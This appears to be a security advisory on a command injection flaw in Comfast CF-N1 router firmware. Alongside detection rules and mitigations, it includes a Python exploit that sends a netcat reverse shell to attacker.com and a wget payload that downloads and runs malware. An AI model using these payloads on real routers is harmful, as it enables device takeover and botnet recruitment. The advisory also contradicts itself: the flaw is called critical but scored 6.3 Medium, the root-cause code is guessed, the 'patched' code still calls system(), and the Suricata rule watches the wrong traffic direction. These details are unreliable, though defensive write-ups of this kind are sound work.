CVE-2025-9582

Executive Summary

CVE-2025-9582 is a critical command injection vulnerability discovered in the Comfast CF-N1 router firmware version 2.6.0. The flaw resides in the ntp_timezone function within the /usr/bin/webmgnt binary. By manipulating the timestr argument, an unauthenticated remote attacker can execute arbitrary operating system commands on the device. The exploit has been publicly released, increasing the risk of widespread exploitation. The vendor has not yet released a patch, leaving all devices running this firmware version exposed.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High due to public exploit availability and lack of patch.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the ntp_timezone function of the webmgnt binary. This function is responsible for setting the NTP timezone on the device. The timestr argument is passed directly to a system-level command without proper sanitization or escaping.

Root Cause: The application fails to validate or sanitize user-supplied input before incorporating it into a shell command. For example, the code likely constructs a command like:

system("ntpdate -t " + timestr);

An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Attack Vector: The webmgnt service listens on a network port (likely port 80 or 443 for HTTP/HTTPS management). An attacker sends a crafted HTTP request to the vulnerable endpoint, manipulating the timestr parameter.

Impact: Successful exploitation allows an attacker to execute arbitrary commands with the privileges of the webmgnt process (typically root). This can lead to full device compromise, including data exfiltration, installation of malware, or use in botnets.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void ntp_timezone(char *timestr) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ntpdate -t %s", timestr);
    system(cmd);
}

Patched Code (Hypothetical):

void ntp_timezone(char *timestr) {
    // Validate input: only allow alphanumeric and specific timezone characters
    if (!is_valid_timezone(timestr)) {
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ntpdate -t %s", timestr);
    system(cmd);
}

A proper patch would use a whitelist of allowed characters or use a library function that avoids shell invocation entirely.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Comfast CF-N1 router running firmware 2.6.0.
• Network access to the router's management interface.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /cgi-bin/ntp_timezone).
2. Craft a POST request with a malicious timestr parameter.
3. Inject a command to spawn a reverse shell or execute arbitrary code.

Example Exploit (Python):

import requests

target = "http://192.168.1.1/cgi-bin/ntp_timezone"
payload = "; nc -e /bin/sh attacker.com 4444 #"
data = {"timestr": payload}
requests.post(target, data=data)

Alternative Payloads:

• ; wget http://attacker.com/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware
• | id > /tmp/output.txt

Blue Team

Detection Steps:

1. Monitor for unusual HTTP requests to /cgi-bin/ntp_timezone with suspicious timestr values.
2. Look for shell metacharacters (;, |, &, `, $()) in the timestr parameter.
3. Check for outbound connections from the router to unknown IPs on common ports (4444, 8080, etc.).
4. Review system logs for unexpected command execution.

Honeypot Setup:

• Deploy a fake Comfast CF-N1 honeypot to capture exploit attempts.
• Log all timestr values for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/ntp_timezone with shell metacharacters.
  • Outbound connections from the router to suspicious IPs on ports 4444, 31337, etc.
  • DNS queries to known malicious domains.

• File IOCs:

  • Unexpected files in /tmp/ (e.g., malware, output.txt).
  • Modified system binaries (e.g., ntpdate replaced with a backdoor).

• Process IOCs:

  • Unusual processes spawned by webmgnt (e.g., nc, bash, wget).
  • Reverse shell processes (e.g., nc -e /bin/sh).

Detection Engineering

YARA Rule

rule CVE_2025_9582_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-9582 in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9582"
    strings:
        $s1 = "timestr="
        $s2 = ";" ascii
        $s3 = "|" ascii
        $s4 = "&" ascii
        $s5 = "`" ascii
        $s6 = "$(" ascii
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2025-9582 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the ntp_timezone endpoint with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/ntp_timezone'
        cs-uri-query|contains|all:
            - 'timestr='
            - ';'
    condition: selection
falsepositives:
    - Legitimate timezone strings containing semicolons (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-9582 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/ntp_timezone"; http_uri;
    content:"timestr="; http_client_body;
    pcre:"/timestr=[^&]*[;|&`$]/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-9582;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect Comfast CF-N1 routers from the internet or place them behind a firewall.
2. Disable remote management: If not required, disable the web management interface.
3. Monitor for exploitation: Use the provided detection rules to identify attacks.

Long-term Fix:

• Vendor patch: Await an official firmware update from Comfast. Apply it immediately when available.
• Workaround: If patching is not possible, consider replacing the device with a more secure alternative.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block command injection attempts.
• Implement network segmentation to limit exposure of vulnerable devices.

Valters IT